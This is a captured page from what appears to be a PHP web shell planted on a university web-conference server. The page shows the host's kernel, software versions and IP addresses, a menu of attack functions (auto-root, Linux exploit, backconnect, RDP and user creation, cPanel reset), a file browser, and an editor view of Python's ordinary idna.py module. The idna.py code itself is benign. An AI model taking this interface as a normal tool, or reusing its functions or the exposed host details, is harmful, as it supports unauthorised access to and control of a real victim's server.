Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.135.219.252
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.8 /
encodings /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
5.46
KB
-rw-r--r--
aliases.py
15.33
KB
-rw-r--r--
ascii.py
1.22
KB
-rw-r--r--
base64_codec.py
1.5
KB
-rw-r--r--
big5.py
1019
B
-rw-r--r--
big5hkscs.py
1.01
KB
-rw-r--r--
bz2_codec.py
2.2
KB
-rw-r--r--
charmap.py
2.04
KB
-rw-r--r--
cp037.py
12.81
KB
-rw-r--r--
cp1006.py
13.25
KB
-rw-r--r--
cp1026.py
12.81
KB
-rw-r--r--
cp1125.py
33.79
KB
-rw-r--r--
cp1140.py
12.8
KB
-rw-r--r--
cp1250.py
13.37
KB
-rw-r--r--
cp1251.py
13.05
KB
-rw-r--r--
cp1252.py
13.19
KB
-rw-r--r--
cp1253.py
12.79
KB
-rw-r--r--
cp1254.py
13.19
KB
-rw-r--r--
cp1255.py
12.17
KB
-rw-r--r--
cp1256.py
12.51
KB
-rw-r--r--
cp1257.py
13.06
KB
-rw-r--r--
cp1258.py
13.05
KB
-rw-r--r--
cp273.py
13.8
KB
-rw-r--r--
cp424.py
11.77
KB
-rw-r--r--
cp437.py
33.75
KB
-rw-r--r--
cp500.py
12.81
KB
-rw-r--r--
cp720.py
13.37
KB
-rw-r--r--
cp737.py
33.87
KB
-rw-r--r--
cp775.py
33.67
KB
-rw-r--r--
cp850.py
33.31
KB
-rw-r--r--
cp852.py
34.18
KB
-rw-r--r--
cp855.py
33.06
KB
-rw-r--r--
cp856.py
12.13
KB
-rw-r--r--
cp857.py
33.11
KB
-rw-r--r--
cp858.py
33.22
KB
-rw-r--r--
cp860.py
33.87
KB
-rw-r--r--
cp861.py
33.82
KB
-rw-r--r--
cp862.py
32.59
KB
-rw-r--r--
cp863.py
33.45
KB
-rw-r--r--
cp864.py
32.87
KB
-rw-r--r--
cp865.py
33.81
KB
-rw-r--r--
cp866.py
33.59
KB
-rw-r--r--
cp869.py
32.19
KB
-rw-r--r--
cp874.py
12.3
KB
-rw-r--r--
cp875.py
12.55
KB
-rw-r--r--
cp932.py
1023
B
-rw-r--r--
cp949.py
1023
B
-rw-r--r--
cp950.py
1023
B
-rw-r--r--
euc_jis_2004.py
1.03
KB
-rw-r--r--
euc_jisx0213.py
1.03
KB
-rw-r--r--
euc_jp.py
1
KB
-rw-r--r--
euc_kr.py
1
KB
-rw-r--r--
gb18030.py
1.01
KB
-rw-r--r--
gb2312.py
1
KB
-rw-r--r--
gbk.py
1015
B
-rw-r--r--
hex_codec.py
1.47
KB
-rw-r--r--
hp_roman8.py
13.16
KB
-rw-r--r--
hz.py
1011
B
-rw-r--r--
idna.py
8.88
KB
-rw-r--r--
iso2022_jp.py
1.03
KB
-rw-r--r--
iso2022_jp_1.py
1.04
KB
-rw-r--r--
iso2022_jp_2.py
1.04
KB
-rw-r--r--
iso2022_jp_2004.py
1.05
KB
-rw-r--r--
iso2022_jp_3.py
1.04
KB
-rw-r--r--
iso2022_jp_ext.py
1.04
KB
-rw-r--r--
iso2022_kr.py
1.03
KB
-rw-r--r--
iso8859_1.py
12.87
KB
-rw-r--r--
iso8859_10.py
13.27
KB
-rw-r--r--
iso8859_11.py
12.05
KB
-rw-r--r--
iso8859_13.py
12.96
KB
-rw-r--r--
iso8859_14.py
13.33
KB
-rw-r--r--
iso8859_15.py
12.9
KB
-rw-r--r--
iso8859_16.py
13.24
KB
-rw-r--r--
iso8859_2.py
13.09
KB
-rw-r--r--
iso8859_3.py
12.78
KB
-rw-r--r--
iso8859_4.py
13.06
KB
-rw-r--r--
iso8859_5.py
12.71
KB
-rw-r--r--
iso8859_6.py
10.58
KB
-rw-r--r--
iso8859_7.py
12.54
KB
-rw-r--r--
iso8859_8.py
10.78
KB
-rw-r--r--
iso8859_9.py
12.85
KB
-rw-r--r--
johab.py
1023
B
-rw-r--r--
koi8_r.py
13.46
KB
-rw-r--r--
koi8_t.py
12.88
KB
-rw-r--r--
koi8_u.py
13.44
KB
-rw-r--r--
kz1048.py
13.4
KB
-rw-r--r--
latin_1.py
1.23
KB
-rw-r--r--
mac_arabic.py
35.61
KB
-rw-r--r--
mac_centeuro.py
13.77
KB
-rw-r--r--
mac_croatian.py
13.31
KB
-rw-r--r--
mac_cyrillic.py
13.14
KB
-rw-r--r--
mac_farsi.py
14.81
KB
-rw-r--r--
mac_greek.py
13.4
KB
-rw-r--r--
mac_iceland.py
13.18
KB
-rw-r--r--
mac_latin2.py
13.79
KB
-rw-r--r--
mac_roman.py
13.16
KB
-rw-r--r--
mac_romanian.py
13.34
KB
-rw-r--r--
mac_turkish.py
13.2
KB
-rw-r--r--
mbcs.py
1.18
KB
-rw-r--r--
oem.py
1019
B
-rw-r--r--
palmos.py
13.2
KB
-rw-r--r--
ptcp154.py
13.69
KB
-rw-r--r--
punycode.py
6.72
KB
-rw-r--r--
quopri_codec.py
1.49
KB
-rw-r--r--
raw_unicode_escape.py
1.18
KB
-rw-r--r--
rot_13.py
2.39
KB
-rwxr-xr-x
shift_jis.py
1.01
KB
-rw-r--r--
shift_jis_2004.py
1.03
KB
-rw-r--r--
shift_jisx0213.py
1.03
KB
-rw-r--r--
tis_620.py
12.01
KB
-rw-r--r--
undefined.py
1.27
KB
-rw-r--r--
unicode_escape.py
1.16
KB
-rw-r--r--
utf_16.py
5.11
KB
-rw-r--r--
utf_16_be.py
1.01
KB
-rw-r--r--
utf_16_le.py
1.01
KB
-rw-r--r--
utf_32.py
5.01
KB
-rw-r--r--
utf_32_be.py
930
B
-rw-r--r--
utf_32_le.py
930
B
-rw-r--r--
utf_7.py
946
B
-rw-r--r--
utf_8.py
1005
B
-rw-r--r--
utf_8_sig.py
4.04
KB
-rw-r--r--
uu_codec.py
2.78
KB
-rw-r--r--
zlib_codec.py
2.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : idna.py
# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep) import stringprep, re, codecs from unicodedata import ucd_3_2_0 as unicodedata # IDNA section 3.1 dots = re.compile("[\u002E\u3002\uFF0E\uFF61]") # IDNA section 5 ace_prefix = b"xn--" sace_prefix = "xn--" # This assumes query strings, so AllowUnassigned is true def nameprep(label): # Map newlabel = [] for c in label: if stringprep.in_table_b1(c): # Map to nothing continue newlabel.append(stringprep.map_table_b2(c)) label = "".join(newlabel) # Normalize label = unicodedata.normalize("NFKC", label) # Prohibit for c in label: if stringprep.in_table_c12(c) or \ stringprep.in_table_c22(c) or \ stringprep.in_table_c3(c) or \ stringprep.in_table_c4(c) or \ stringprep.in_table_c5(c) or \ stringprep.in_table_c6(c) or \ stringprep.in_table_c7(c) or \ stringprep.in_table_c8(c) or \ stringprep.in_table_c9(c): raise UnicodeError("Invalid character %r" % c) # Check bidi RandAL = [stringprep.in_table_d1(x) for x in label] if any(RandAL): # There is a RandAL char in the string. Must perform further # tests: # 1) The characters in section 5.8 MUST be prohibited. # This is table C.8, which was already checked # 2) If a string contains any RandALCat character, the string # MUST NOT contain any LCat character. if any(stringprep.in_table_d2(x) for x in label): raise UnicodeError("Violation of BIDI requirement 2") # 3) If a string contains any RandALCat character, a # RandALCat character MUST be the first character of the # string, and a RandALCat character MUST be the last # character of the string. if not RandAL[0] or not RandAL[-1]: raise UnicodeError("Violation of BIDI requirement 3") return label def ToASCII(label): try: # Step 1: try ASCII label = label.encode("ascii") except UnicodeError: pass else: # Skip to step 3: UseSTD3ASCIIRules is false, so # Skip to step 8. if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") # Step 2: nameprep label = nameprep(label) # Step 3: UseSTD3ASCIIRules is false # Step 4: try ASCII try: label = label.encode("ascii") except UnicodeError: pass else: # Skip to step 8. if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") # Step 5: Check ACE prefix if label.startswith(sace_prefix): raise UnicodeError("Label starts with ACE prefix") # Step 6: Encode with PUNYCODE label = label.encode("punycode") # Step 7: Prepend ACE prefix label = ace_prefix + label # Step 8: Check size if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") def ToUnicode(label): # Step 1: Check for ASCII if isinstance(label, bytes): pure_ascii = True else: try: label = label.encode("ascii") pure_ascii = True except UnicodeError: pure_ascii = False if not pure_ascii: # Step 2: Perform nameprep label = nameprep(label) # It doesn't say this, but apparently, it should be ASCII now try: label = label.encode("ascii") except UnicodeError: raise UnicodeError("Invalid character in IDN label") # Step 3: Check for ACE prefix if not label.startswith(ace_prefix): return str(label, "ascii") # Step 4: Remove ACE prefix label1 = label[len(ace_prefix):] # Step 5: Decode using PUNYCODE result = label1.decode("punycode") # Step 6: Apply ToASCII label2 = ToASCII(result) # Step 7: Compare the result of step 6 with the one of step 3 # label2 will already be in lower case. if str(label, "ascii").lower() != str(label2, "ascii"): raise UnicodeError("IDNA does not round-trip", label, label2) # Step 8: return the result of step 5 return result ### Codec APIs class Codec(codecs.Codec): def encode(self, input, errors='strict'): if errors != 'strict': # IDNA is quite clear that implementations must be strict raise UnicodeError("unsupported error handling "+errors) if not input: return b'', 0 try: result = input.encode('ascii') except UnicodeEncodeError: pass else: # ASCII name: fast path labels = result.split(b'.') for label in labels[:-1]: if not (0 < len(label) < 64): raise UnicodeError("label empty or too long") if len(labels[-1]) >= 64: raise UnicodeError("label too long") return result, len(input) result = bytearray() labels = dots.split(input) if labels and not labels[-1]: trailing_dot = b'.' del labels[-1] else: trailing_dot = b'' for label in labels: if result: # Join with U+002E result.extend(b'.') result.extend(ToASCII(label)) return bytes(result+trailing_dot), len(input) def decode(self, input, errors='strict'): if errors != 'strict': raise UnicodeError("Unsupported error handling "+errors) if not input: return "", 0 # IDNA allows decoding to operate on Unicode strings, too. if not isinstance(input, bytes): # XXX obviously wrong, see #3232 input = bytes(input) if ace_prefix not in input: # Fast path try: return input.decode('ascii'), len(input) except UnicodeDecodeError: pass labels = input.split(b".") if labels and len(labels[-1]) == 0: trailing_dot = '.' del labels[-1] else: trailing_dot = '' result = [] for label in labels: result.append(ToUnicode(label)) return ".".join(result)+trailing_dot, len(input) class IncrementalEncoder(codecs.BufferedIncrementalEncoder): def _buffer_encode(self, input, errors, final): if errors != 'strict': # IDNA is quite clear that implementations must be strict raise UnicodeError("unsupported error handling "+errors) if not input: return (b'', 0) labels = dots.split(input) trailing_dot = b'' if labels: if not labels[-1]: trailing_dot = b'.' del labels[-1] elif not final: # Keep potentially unfinished label until the next call del labels[-1] if labels: trailing_dot = b'.' result = bytearray() size = 0 for label in labels: if size: # Join with U+002E result.extend(b'.') size += 1 result.extend(ToASCII(label)) size += len(label) result += trailing_dot size += len(trailing_dot) return (bytes(result), size) class IncrementalDecoder(codecs.BufferedIncrementalDecoder): def _buffer_decode(self, input, errors, final): if errors != 'strict': raise UnicodeError("Unsupported error handling "+errors) if not input: return ("", 0) # IDNA allows decoding to operate on Unicode strings, too. if isinstance(input, str): labels = dots.split(input) else: # Must be ASCII string input = str(input, "ascii") labels = input.split(".") trailing_dot = '' if labels: if not labels[-1]: trailing_dot = '.' del labels[-1] elif not final: # Keep potentially unfinished label until the next call del labels[-1] if labels: trailing_dot = '.' result = [] size = 0 for label in labels: result.append(ToUnicode(label)) if size: size += 1 size += len(label) result = ".".join(result) + trailing_dot size += len(trailing_dot) return (result, size) class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='idna', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamwriter=StreamWriter, streamreader=StreamReader, )
Close